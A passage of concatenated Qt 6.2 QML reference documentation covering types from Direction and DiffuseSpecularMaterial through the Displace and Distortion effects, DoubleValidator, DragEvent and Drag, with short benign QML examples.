 When used in conjunction with WrapMode.Repeat, textureScale provides a simple way to tile a texture across a surface. For example, a texture scale of `4.0` would result in 16 (4x4) tiles.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-diffusespecularmapmaterial.html>

Direction QML Type
==================

 For specifying a vector space. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Particles |
|  Inherited By: | [AngleDirection](qml-qtquick-particles-angledirection), [CumulativeDirection](qml-qtquick-particles-cumulativedirection), [PointDirection](qml-qtquick-particles-pointdirection), and [TargetDirection](qml-qtquick-particles-targetdirection) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-particles-direction-members.html)

 Detailed Description
--------------------



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-particles-direction.html>

Direction3D QML Type
====================

 Directions assign velocity for the emitted particles. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Particles3D |
|  Since: |  Qt 6.2 |
|  Inherits: | [QtObject](qml-qtqml-qtobject) |
|  Inherited By: | [TargetDirection3D](qml-qtquick3d-particles3d-targetdirection3d) and [VectorDirection3D](qml-qtquick3d-particles3d-vectordirection3d) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-particles3d-direction3d-members.html)

 Detailed Description
--------------------

 The Direction3D is an abstract base class of directions like [TargetDirection3D](qml-qtquick3d-particles3d-targetdirection3d) and [VectorDirection3D](qml-qtquick3d-particles3d-vectordirection3d).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-particles3d-direction3d.html>

DiffuseSpecularMaterial QML Type
================================

 The DiffuseSpecularMaterial class provides a default implementation of the phong lighting effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Since: |  Qt 5.10 |
|  Instantiates: | [QDiffuseSpecularMaterial](qt3dextras-qdiffusespecularmaterial) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-diffusespecularmaterial-members.html)

 Properties
----------

 * **[alphaBlending](qml-qt3d-extras-diffusespecularmaterial#alphaBlending-prop)** : bool
* **[ambient](qml-qt3d-extras-diffusespecularmaterial#ambient-prop)** : color
* **[diffuse](qml-qt3d-extras-diffusespecularmaterial#diffuse-prop)** : var
* **[normal](qml-qt3d-extras-diffusespecularmaterial#normal-prop)** : var
* **[shininess](qml-qt3d-extras-diffusespecularmaterial#shininess-prop)** : real
* **[specular](qml-qt3d-extras-diffusespecularmaterial#specular-prop)** : var
* **[textureScale](qml-qt3d-extras-diffusespecularmaterial#textureScale-prop)** : real

 Detailed Description
--------------------

 The phong lighting effect is based on the combination of 3 lighting components ambient, diffuse and specular. The relative strengths of these components are controlled by means of their reflectivity coefficients which are modelled as RGB triplets:

 * Ambient is the color that is emitted by an object without any other light source.
* Diffuse is the color that is emitted for rough surface reflections with the lights.
* Specular is the color emitted for shiny surface reflections with the lights.
* The shininess of a surface is controlled by a float property.

 This material uses an effect with a single render pass approach and performs per fragment lighting. Techniques are provided for OpenGL 2, OpenGL 3 or above as well as OpenGL ES 2.

 Property Documentation
----------------------

 ###  alphaBlending : [bool](qml-bool)

 Indicates if the alpha information coming from the diffuse property will be taken into account during rendering. Defaults to false.

 ###  ambient : [color](qml-color)

 Holds the ambient color that is emitted by an object without any other light source.

 ###  diffuse : [var](qml-var)

 Holds the diffuse color of the material that is emitted for rough surface reflections with the lights. This can be either a plain color value or a texture.

 ###  normal : [var](qml-var)

 Holds the current normal map texture of the material. This can only be a texture, otherwise it is ignored. By default this map is not set.

 ###  shininess : [real](qml-real)

 Holds the shininess exponent. Higher values of shininess result in a smaller and brighter highlight.

 Defaults to 150.0.

 ###  specular : [var](qml-var)

 Holds the specular color of the material that is emitted for shiny surface reflections with the lights. This can be either a plain color value or a texture.

 ###  textureScale : [real](qml-real)

 Holds the current texture scale. It is applied as a multiplier to texture coordinates at render time. Defaults to 1.0.

 When used in conjunction with WrapMode.Repeat, textureScale provides a simple way to tile a texture across a surface. For example, a texture scale of `4.0` would result in 16 (4x4) tiles.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-diffusespecularmaterial.html>

DirectionalLight QML Type
=========================

 Encapsulate a Directional Light object in a Qt 3D scene. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QDirectionalLight](qt3drender-qdirectionallight) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-directionallight-members.html)

 Properties
----------

 * **[worldDirection](qml-qt3d-render-directionallight#worldDirection-prop)** : vector3d

 Detailed Description
--------------------

 A directional light is a light source that behaves similar to sunlight. The light from a directional light hits all objects from the same direction and with the same intensity, regardless of where they are in the scene.

 Property Documentation
----------------------

 ###  worldDirection : [vector3d](qml-vector3d)

 Specifies the world direction of the directional light.

  **Note:** The exact meaning and use of this property is up to the material implementation.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-directionallight.html>

Dithering QML Type
==================

 Enable dithering. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QDithering](qt3drender-qdithering) |
|  Inherits: | [RenderState](qml-qt3d-render-renderstate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-dithering-members.html)

 Detailed Description
--------------------

 A Dithering type enables dithering. Dithering adds noise to the color values to randomize quantization error in order to prevent large scale patterns in the final image, such as banding. Dithering is most useful when rendering to a surface with low color bit depth, such as RGB565 or RGBA4444.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-dithering.html>

double QML Basic Type
=====================

 The `double` type refers to a number with a decimal point and is stored in double precision, [IEEE floating point](http://en.wikipedia.org/wiki/IEEE_754) format.

 Example:

 
```
Item {
    property double number: 32155.2355
}
```
 This basic type is provided by the QML language.

 **See also** [QML Basic Types](qtqml-typesystem-basictypes).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-double.html>

DirectionalLight QML Type
=========================

 Defines a directional light in the scene. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D |
|  Inherits: | [Light](qml-qtquick3d-light) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-directionallight-members.html)

 Detailed Description
--------------------

 The directional light emits light in one direction from an unidentifiable source located infinitely far away. This is similar to the way sunlight works in real life. A directional light has infinite range and does not diminish.

 If [castsShadow](qml-qtquick3d-light#castsShadow-prop) is enabled, shadows will be parallel to the light direction.

 A directional light effectively have no position, so moving it does not have any effect. The light will always be emitted in the direction of the light's Z axis.

 Rotating the light along its X or Y axis will change the direction of the light emission.

 Scaling a directional light will only have an effect in the following cases:

 * If Z scale is set to a negative number, the light will be emitted in the opposite direction.
* If the scale of any axis is set to 0, the light will be emitted along the world's Z axis. **Note:** Rotating the light will then have no effect.

 Let's look at a simple example:

 
```
import QtQuick
import QtQuick3D
View3D {
    anchors.fill: parent

    PerspectiveCamera { z: 600 }

    DirectionalLight {
    }

    Model {
        source: "#Sphere"
        scale: Qt.vector3d(4, 4, 4)
        materials: PrincipledMaterial {
            baseColor: "#40c060"
            roughness: 0.1 // make specular highlight visible
        }
    }
}
```
 Here the DirectionalLight uses the default `white` color, emitting in the direction of the DirectionalLight node's Z axis.

 ![]


Rotating 60 degrees around the X axis would lead to the following. Instead of emitting straight in the direction of the Z axis, the light is now pointing 60 degrees "down":

 
```
DirectionalLight {
    eulerRotation.x: 30
}
```
 ![]


For further usage examples, see [Qt Quick 3D - Lights Example](https://doc.qt.io/qt-6.2/qtquick3d-lights-example.html).

 **See also** [PointLight](qml-qtquick3d-pointlight) and [SpotLight](qml-qtquick3d-spotlight).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-directionallight.html>

DispatchCompute QML Type
========================

 FrameGraph node to issue work for the compute shader on GPU. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QDispatchCompute](qt3drender-qdispatchcompute) |
|  Inherits: | [FrameGraphNode](qml-qt3d-render-framegraphnode) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-dispatchcompute-members.html)

 Properties
----------

 * **[workGroupX](qml-qt3d-render-dispatchcompute#workGroupX-prop)** : int
* **[workGroupY](qml-qt3d-render-dispatchcompute#workGroupY-prop)** : int
* **[workGroupZ](qml-qt3d-render-dispatchcompute#workGroupZ-prop)** : int

 Detailed Description
--------------------

 A DispatchCompute allows work to be issued for the compute shader to run on the GPU. The [workGroupX](qml-qt3d-render-dispatchcompute#workGroupX-prop), [workGroupY](qml-qt3d-render-dispatchcompute#workGroupY-prop) and [workGroupZ](qml-qt3d-render-dispatchcompute#workGroupZ-prop) properties specify the work group sizes for the compute shader invocation. [ComputeCommand](qml-qt3d-render-computecommand) components need to be added to entities to instruct Qt3D to select the materials and geometry from the entities for the compute invocation. The work group sizes for the shader invocation will be the maximum of the work group sizes specified in DispatchCompute and [ComputeCommand](qml-qt3d-render-computecommand).

 Property Documentation
----------------------

 ###  workGroupX : [int](qml-int)

 Specifies X workgroup size.

 ###  workGroupY : [int](qml-int)

 Specifies Y workgroup size.

 ###  workGroupZ : [int](qml-int)

 Specifies Z workgroup size.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-dispatchcompute.html>

Displace QML Type
=================

 Moves the pixels of the source item according to the given displacement map. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt5Compat.GraphicalEffects |
|  Since: |  QtGraphicalEffects 1.0 |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-displace-members.html)

 Properties
----------

 * **[cached](qml-qt5compat-graphicaleffects-displace#cached-prop)** : bool
* **[displacement](qml-qt5compat-graphicaleffects-displace#displacement-prop)** : real
* **[displacementSource](qml-qt5compat-graphicaleffects-displace#displacementSource-prop)** : variant
* **[source](qml-qt5compat-graphicaleffects-displace#source-prop)** : variant

 Detailed Description
--------------------

 

| Source | DisplacementSource | Effect applied |
| --- | --- | --- |
|  |  |  |

 Example
-------

 The following example shows how to apply the effect.

 
```
import QtQuick
import Qt5Compat.GraphicalEffects

Item {
    width: 300
    height: 300

    Image {
        id: bug
        source: "images/bug.jpg"
        sourceSize: Qt.size(parent.width, parent.height)
        smooth: true
        visible: false
    }

    Rectangle {
        id: displacement
        color: Qt.rgba(0.5, 0.5, 1.0, 1.0)
        anchors.fill: parent
        visible: false
        Image {
            anchors.centerIn: parent
            source: "images/glass_normal.png"
            sourceSize: Qt.size(parent.width/2, parent.height/2)
            smooth: true
        }
    }

    Displace {
        anchors.fill: bug
        source: bug
        displacementSource: displacement
        displacement: 0.1
    }
}
```
 Property Documentation
----------------------

 ###  cached : [bool](qml-bool)

 This property allows the effect output pixels to be cached in order to improve the rendering performance.

 Every time the source or effect properties are changed, the pixels in the cache must be updated. Memory consumption is increased, because an extra buffer of memory is required for storing the effect output.

 It is recommended to disable the cache when the source or the effect properties are animated.

 By default, the property is set to `false`.

 ###  displacement : [real](qml-real)

 This property defines the scale for the displacement. The bigger scale, the bigger the displacement of the pixels. The value set to 0.0 causes no displacement.

 The value ranges from -1.0 (inverted maximum shift, according to [displacementSource](qml-qt5compat-graphicaleffects-displace#displacementSource-prop)) to 1.0 (maximum shift, according to [displacementSource](qml-qt5compat-graphicaleffects-displace#displacementSource-prop)). By default, the property is set to `0.0` (no displacement).

 

| Output examples with different displacement values |  |  |
| --- | --- | --- |
|  |  |  |
|  **displacement: -0.2**  |  **displacement: 0.0**  |  **displacement: 0.2**  |

 ###  displacementSource : variant

 This property defines the item that is going to be used as the displacement map. The displacementSource item gets rendered into the intermediate pixel buffer. The red and green component values from the result determine the displacement of the pixels from the source item.

 The format for the displacement map is similar to the tangent space normal maps, which can be created with most 3D-modeling tools. Many image processing tools include the support for generating normal maps. Alternatively, the displacement map for this effect can also be a QML element which is colored appropriately. Like any QML element, it can be animated. It is recommended that the size of the diplacement map matches the size of the [source](qml-qt5compat-graphicaleffects-displace#source-prop).

 The displace data is interpreted in the RGBA format. For every pixel: the red channel stores the x-axis displacement, and the green channel stores the y-axis displacement. Blue and alpha channels are ignored for this effect.

 Assuming that red channel value 1.0 is fully red (0.0 having no red at all), this effect considers pixel component value 0.5 to cause no displacement at all. Values above 0.5 shift pixels to the left, values below 0.5 do the shift to the right. In a similar way, green channel values above 0.5 displace the pixels upwards, and values below 0.5 shift the pixels downwards. The actual amount of displacement in pixels depends on the [displacement](qml-qt5compat-graphicaleffects-displace#displacement-prop) property.

 ###  source : variant

 This property defines the source item for the pixels that are going to be displaced according to the data from [displacementSource](qml-qt5compat-graphicaleffects-displace#displacementSource-prop).

  **Note:** It is not supported to let the effect include itself, for instance by setting source to the effect's parent.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-displace.html>

DistortionRipple QML Type
=========================

 A ripple distortion effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-distortionripple-members.html)

 Properties
----------

 * **[center](qml-qtquick3d-effects-distortionripple#center-prop)** : vector2d
* **[distortionHeight](qml-qtquick3d-effects-distortionripple#distortionHeight-prop)** : real
* **[distortionPhase](qml-qtquick3d-effects-distortionripple#distortionPhase-prop)** : real
* **[distortionWidth](qml-qtquick3d-effects-distortionripple#distortionWidth-prop)** : real
* **[radius](qml-qtquick3d-effects-distortionripple#radius-prop)** : real

 Detailed Description
--------------------

 ![]


The DistortionRipple effect adds a wavelike distortion of circular ripples around a center point.

 Property Documentation
----------------------

 ###  center : [vector2d](qml-vector2d)

 The center point of the distortion. The default is `Qt.vector2d(0.5, 0.5)`, the center of the scene.

 ###  distortionHeight : [real](qml-real)

 The distortion amount. Sensible values are in the range `[0...100]`. The default value is `10`.

 ###  distortionPhase : [real](qml-real)

 The offset of each wave. Animate this property to see the waves move. Sensible values are in the range `[0...360]`. The default value is `0`.

 ###  distortionWidth : [real](qml-real)

 The width of a ripple. Sensible values are in the range `[2...100]`. The default value is `10`.

 ###  radius : [real](qml-real)

 How far the ripples extend from the center point. Sensible values are in the range `[0...100]`. The default value is `100`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-distortionripple.html>

DistortionSphere QML Type
=========================

 A sphere distortion effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-distortionsphere-members.html)

 Properties
----------

 * **[center](qml-qtquick3d-effects-distortionsphere#center-prop)** : vector2d
* **[distortionHeight](qml-qtquick3d-effects-distortionsphere#distortionHeight-prop)** : real
* **[radius](qml-qtquick3d-effects-distortionsphere#radius-prop)** : real

 Detailed Description
--------------------

 ![]


The DistortionSphere effect creates a 3D effect of wrapping the scene around a spherical shape.

 Property Documentation
----------------------

 ###  center : [vector2d](qml-vector2d)

 The center point of the distortion. The default is `Qt.vector2d(0.5, 0.5)`, the center of the scene.

 ###  distortionHeight : [real](qml-real)

 The distortion amount. The range is `[-1...1]`, where positive values distort towards the camera, and negative values distort away from the camera. The default value is `0.5`.

 ###  radius : [real](qml-real)

 How far the distortion extends from the center point. The range is `[0...1]`. The default value is `0.25`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-distortionsphere.html>

DistortionSpiral QML Type
=========================

 A spiral distortion effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-distortionspiral-members.html)

 Properties
----------

 * **[center](qml-qtquick3d-effects-distortionspiral#center-prop)** : vector2d
* **[distortionStrength](qml-qtquick3d-effects-distortionspiral#distortionStrength-prop)** : real
* **[radius](qml-qtquick3d-effects-distortionspiral#radius-prop)** : real

 Detailed Description
--------------------

 ![]


The DistortionSpiral effect creates a twirl-shaped distortion.

 Property Documentation
----------------------

 ###  center : [vector2d](qml-vector2d)

 The center point of the distortion. The default is `Qt.vector2d(0.5, 0.5)`, the center of the scene.

 ###  distortionStrength : [real](qml-real)

 The distortion amount. The range is `[-10...10]`. The default value is `1.0`.

 ###  radius : [real](qml-real)

 How far the distortion extends from the center point. The range is `[0...1]`. The default value is `0.25`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-distortionspiral.html>

DoubleValidator QML Type
========================

 Defines a validator for non-integer numbers. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Instantiates: | [QDoubleValidator](qdoublevalidator) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-doublevalidator-members.html)

 Properties
----------

 * **[bottom](qml-qtquick-doublevalidator#bottom-prop)** : real
* **[decimals](qml-qtquick-doublevalidator#decimals-prop)** : int
* **[locale](qml-qtquick-doublevalidator#locale-prop)** : string
* **[notation](qml-qtquick-doublevalidator#notation-prop)** : enumeration
* **[top](qml-qtquick-doublevalidator#top-prop)** : real

 Detailed Description
--------------------

 The DoubleValidator type provides a validator for non-integer numbers.

 Input is accepted if it contains a double that is within the valid range and is in the correct format.

 Input is accepected but invalid if it contains a double that is outside the range or is in the wrong format; e.g. with too many digits after the decimal point or is empty.

 Input is rejected if it is not a double.

 Note: If the valid range consists of just positive doubles (e.g. 0.0 to 100.0) and input is a negative double then it is rejected. If [notation](qml-qtquick-doublevalidator#notation-prop) is set to DoubleValidator.StandardNotation, and the input contains more digits before the decimal point than a double in the valid range may have, it is also rejected. If [notation](qml-qtquick-doublevalidator#notation-prop) is DoubleValidator.ScientificNotation, and the input is not in the valid range, it is accecpted but invalid. The value may yet become valid by changing the exponent.

 Property Documentation
----------------------

 ###  bottom : [real](qml-real)

 This property holds the validator's minimum acceptable value. By default, this property contains a value of -infinity.

 ###  decimals : [int](qml-int)

 This property holds the validator's maximum number of digits after the decimal point. By default, this property contains a value of 1000.

 ###  locale : [string](qml-string)

 This property holds the name of the locale used to interpret the number.

 **See also** [Qt.locale](qml-qtqml-qt#locale-method)().

 ###  notation : [enumeration](qml-enumeration)

 This property holds the notation of how a string can describe a number.

 The possible values for this property are:

 * [DoubleValidator](qml-qtquick-doublevalidator).StandardNotation
* [DoubleValidator](qml-qtquick-doublevalidator).ScientificNotation (default)

 If this property is set to [DoubleValidator](qml-qtquick-doublevalidator).ScientificNotation, the written number may have an exponent part (e.g. 1.5E-2).

 ###  top : [real](qml-real)

 This property holds the validator's maximum acceptable value. By default, this property contains a value of infinity.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-doublevalidator.html>

DragEvent QML Type
==================

 Provides information about a drag event. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-dragevent-members.html)

 Properties
----------

 * **[accepted](qml-qtquick-dragevent#accepted-prop)** : bool
* **[action](qml-qtquick-dragevent#action-prop)** : enumeration
* **[colorData](qml-qtquick-dragevent#colorData-prop)** : color
* **[drag.source](qml-qtquick-dragevent#drag.source-prop)** : Object
* **[formats](qml-qtquick-dragevent#formats-prop)** : stringlist
* **[hasColor](qml-qtquick-dragevent#hasColor-prop)** : bool
* **[hasHtml](qml-qtquick-dragevent#hasHtml-prop)** : bool
* **[hasText](qml-qtquick-dragevent#hasText-prop)** : bool
* **[hasUrls](qml-qtquick-dragevent#hasUrls-prop)** : bool
* **[html](qml-qtquick-dragevent#html-prop)** : string
* **[keys](qml-qtquick-dragevent#keys-prop)** : stringlist
* **[proposedAction](qml-qtquick-dragevent#proposedAction-prop)** : flags
* **[supportedActions](qml-qtquick-dragevent#supportedActions-prop)** : flags
* **[text](qml-qtquick-dragevent#text-prop)** : string
* **[urls](qml-qtquick-dragevent#urls-prop)** : urllist
* **[x](qml-qtquick-dragevent#x-prop)** : real
* **[y](qml-qtquick-dragevent#y-prop)** : real

 Methods
-------

 * **[accept](qml-qtquick-dragevent#accept-method-1)**(enumeration *action*)
* **[accept](qml-qtquick-dragevent#accept-method)**()
* **[acceptProposedAction](qml-qtquick-dragevent#acceptProposedAction-method)**()
* string **[getDataAsArrayBuffer](qml-qtquick-dragevent#getDataAsArrayBuffer-method)**(string *format*)
* string **[getDataAsString](qml-qtquick-dragevent#getDataAsString-method)**(string *format*)

 Detailed Description
--------------------

 The position of the drag event can be obtained from the [x](qml-qtquick-dragevent#x-prop) and [y](qml-qtquick-dragevent#y-prop) properties, and the [keys](qml-qtquick-dragevent#keys-prop) property identifies the drag keys of the event [source](qml-qtquick-dragevent#drag.source-prop).

 The existence of specific drag types can be determined using the [hasColor](qml-qtquick-dragevent#hasColor-prop), [hasHtml](qml-qtquick-dragevent#hasHtml-prop), [hasText](qml-qtquick-dragevent#hasText-prop), and [hasUrls](qml-qtquick-dragevent#hasUrls-prop) properties.

 The list of all supplied formats can be determined using the [formats](qml-qtquick-dragevent#formats-prop) property.

 Specific drag types can be obtained using the [colorData](qml-qtquick-dragevent#colorData-prop), [html](qml-qtquick-dragevent#html-prop), [text](qml-qtquick-dragevent#text-prop), and [urls](qml-qtquick-dragevent#urls-prop) properties.

 A string version of any available mimeType can be obtained using [getDataAsString](qml-qtquick-dragevent#getDataAsString-method).

 Property Documentation
----------------------

 ###  accepted : [bool](qml-bool)

 This property holds whether the drag event was accepted by a handler.

 The default value is true.

 ###  action : [enumeration](qml-enumeration)

 This property holds the action that the [source](qml-qtquick-dragevent#drag.source-prop) is to perform on an accepted drop.

 The drop action may be one of:

 * Qt.CopyAction Copy the data to the target.
* Qt.MoveAction Move the data from the source to the target.
* Qt.LinkAction Create a link from the source to the target.
* Qt.IgnoreAction Ignore the action (do nothing with the data).

 ###  [since 5.2] colorData : [color](qml-color)

 This property holds color data, if any.

 This property was introduced in Qt 5.2.

 ###  drag.source : Object

 This property holds the source of a drag event.

 ###  [since 5.2] formats : stringlist

 This property holds a list of mime type formats contained in the drag data.

 This property was introduced in Qt 5.2.

 ###  [since 5.2] hasColor : [bool](qml-bool)

 This property holds whether the drag event contains a color item.

 This property was introduced in Qt 5.2.

 ###  [since 5.2] hasHtml : [bool](qml-bool)

 This property holds whether the drag event contains a html item.

 This property was introduced in Qt 5.2.

 ###  [since 5.2] hasText : [bool](qml-bool)

 This property holds whether the drag event contains a text item.

 This property was introduced in Qt 5.2.

 ###  [since 5.2] hasUrls : [bool](qml-bool)

 This property holds whether the drag event contains one or more url items.

 This property was introduced in Qt 5.2.

 ###  [since 5.2] html : [string](qml-string)

 This property holds html data, if any.

 This property was introduced in Qt 5.2.

 ###  keys : stringlist

 This property holds a list of keys identifying the data type or source of a drag event.

 ###  [since 5.2] proposedAction : flags

 This property holds the set of [actions](qml-qtquick-dragevent#action-prop) proposed by the drag source.

 This property was introduced in Qt 5.2.

 ###  supportedActions : flags

 This property holds the set of [actions](qml-qtquick-dragevent#action-prop) supported by the drag source.

 ###  [since 5.2] text : [string](qml-string)

 This property holds text data, if any.

 This property was introduced in Qt 5.2.

 ###  [since 5.2] urls : urllist

 This property holds a list of urls, if any.

 This property was introduced in Qt 5.2.

 ###  x : [real](qml-real)

 This property holds the x coordinate of a drag event.

 ###  y : [real](qml-real)

 This property holds the y coordinate of a drag event.

 Method Documentation
--------------------

  ###  accept()

 
Accepts the drag event.

 If an *action* is specified it will overwrite the value of the [action](qml-qtquick-dragevent#action-prop) property.

 ###  `[since 5.2]` acceptProposedAction()

 Accepts the drag event with the [proposedAction](qml-qtquick-dragevent#proposedAction-prop).

 This method was introduced in Qt 5.2.

 ###  `[since 5.5]` [string](qml-string) getDataAsArrayBuffer([string](qml-string) *format*)

 Returns the data for the given *format* into an ArrayBuffer, which can easily be translated into a [QByteArray](qbytearray). *format* should be one contained in the [formats](qml-qtquick-dragevent#formats-prop) property.

 This method was introduced in Qt 5.5.

 ###  `[since 5.2]` [string](qml-string) getDataAsString([string](qml-string) *format*)

 Returns the data for the given *format* converted to a string. *format* should be one contained in the [formats](qml-qtquick-dragevent#formats-prop) property.

 This method was introduced in Qt 5.2.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-dragevent.html>

Drag QML Type
=============

 For specifying drag and drop events for moved Items. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-drag-members.html)

 Attached Properties
-------------------

 * **[active](qml-qtquick-drag#active-attached-prop)** : bool
* **[dragType](qml-qtquick-drag#dragType-attached-prop)** : enumeration
* **[hotSpot](qml-qtquick-drag#hotSpot-attached-prop)** : QPointF
* **[imageSource](qml-qtquick-drag#imageSource-attached-prop)** : QUrl
* **[keys](qml-qtquick-drag#keys-attached-prop)** : stringlist
* **[mimeData](qml-qtquick-drag#mimeData-attached-prop)** : stringlist
* **[proposedAction](qml-qtquick-drag#proposedAction-attached-prop)** : enumeration
* **[source](qml-qtquick-drag#source-attached-prop)** : Object
* **[supportedActions](qml-qtquick-drag#supportedActions-attached-prop)** : flags
* **[target](qml-qtquick-drag#target-attached-prop)** : Object

 Attached Signals
----------------

 * **[dragFinished](qml-qtquick-drag#dragFinished-signal)**(DropAction *dropAction*)
* **[dragStarted](qml-qtquick-drag#dragStarted-signal)**()

 Attached Methods
----------------

 * void **[cancel](qml-qtquick-drag#cancel-method)**()
* enumeration **[drop](qml-qtquick-drag#drop-method)**()
* void **[start](qml-qtquick-drag#start-method)**(flags *supportedActions*)
* void **[startDrag](qml-qtquick-drag#startDrag-method)**(flags *supportedActions*)

 Detailed Description
--------------------

 Using the Drag attached property, any Item can be made a source of drag and drop events within a scene.

 When a drag is [active](qml-qtquick-drag#active-attached-prop) on an item, any change in that item's position will generate a drag event that will be sent to any [DropArea](qml-qtquick-droparea) that intersects with the new position of the item. Other items which implement drag and drop event handlers can also receive these events.

 The following snippet shows how an item can be dragged with a [MouseArea](qml-qtquick-mousearea). However, dragging is not limited to mouse drags; anything that can move an item can generate drag events, including touch events, animations and bindings.

 
```
import QtQuick 2.0

Item {
    width: 200; height: 200

    DropArea {
        x: 75; y: 75
        width: 50; height: 50

        Rectangle {
            anchors.fill: parent
            color: "green"

            visible: parent.containsDrag
        }
    }

    Rectangle {
        x: 10; y: 10
        width: 20; height: 20
        color: "red"

        Drag.active: dragArea.drag.active
        Drag.hotSpot.x: 10
        Drag.hotSpot.y: 10

        MouseArea {
            id: dragArea
            anchors.fill: parent

            drag.target: parent
        }
    }
}
```
 A drag can be terminated either by canceling it with Drag.[cancel](qml-qtquick-drag#cancel-method)() or setting Drag.active to false, or it can be terminated with a drop event by calling Drag.[drop](qml-qtquick-drag#drop-method)(). If the drop event is accepted, Drag.[drop](qml-qtquick-drag#drop-method)() will return the [drop action](qml-qtquick-drag#supportedActions-attached-prop) chosen by the recipient of the event, otherwise it will return Qt.IgnoreAction.

 **See also** [Qt Quick Examples - Drag and Drop](https://doc.qt.io/qt-6.2/qtquick-draganddrop-example.html) and [Qt Quick Examples - externaldraganddrop](https://doc.qt.io/qt-6.2/qtquick-externaldraganddrop-example.html).

 Attached Property Documentation
-------------------------------

 ###  Drag.active : [bool](qml-bool)

 This property holds whether a drag event sequence is currently active.

 Binding this property to the active property of [MouseArea::drag](qml-qtquick-mousearea#drag-prop) will cause [startDrag](qml-qtquick-drag#startDrag-method) to be called when the user starts dragging.

 Setting this property to true will also send a QDragEnter event to the scene with the item's current position. Setting it to false will send a QDragLeave event.

 While a drag is active any change in an item's position will send a QDragMove event with item's new position to the scene.

 ###  [since 5.2] Drag.dragType : [enumeration](qml-enumeration)

 This property indicates whether to automatically start drags, do nothing, or to use backwards compatible internal drags. The default is to use backwards compatible internal drags.

 A drag can also be started manually using [startDrag](qml-qtquick-drag#startDrag-method).

 * Drag.None - do not start drags automatically
* Drag.Automatic - start drags automatically
* Drag.Internal (default) - start backwards compatible drags automatically

 When using `Drag.Automatic` you should also define [mimeData](qml-qtquick-drag#mimeData-attached-prop) and bind the [active](qml-qtquick-drag#active-attached-prop) property to the active property of [MouseArea](qml-qtquick-mousearea) : [MouseArea::drag.active](qml-qtquick-mousearea#drag.active-prop)

 This property was introduced in Qt 5.2.

 ###  Drag.hotSpot : QPointF

 This property holds the drag position relative to the top left of the item.

 By default this is (0, 0).

 Changes to hotSpot trigger a new drag move with the updated position.

 ###  [since 5.8] Drag.imageSource : QUrl

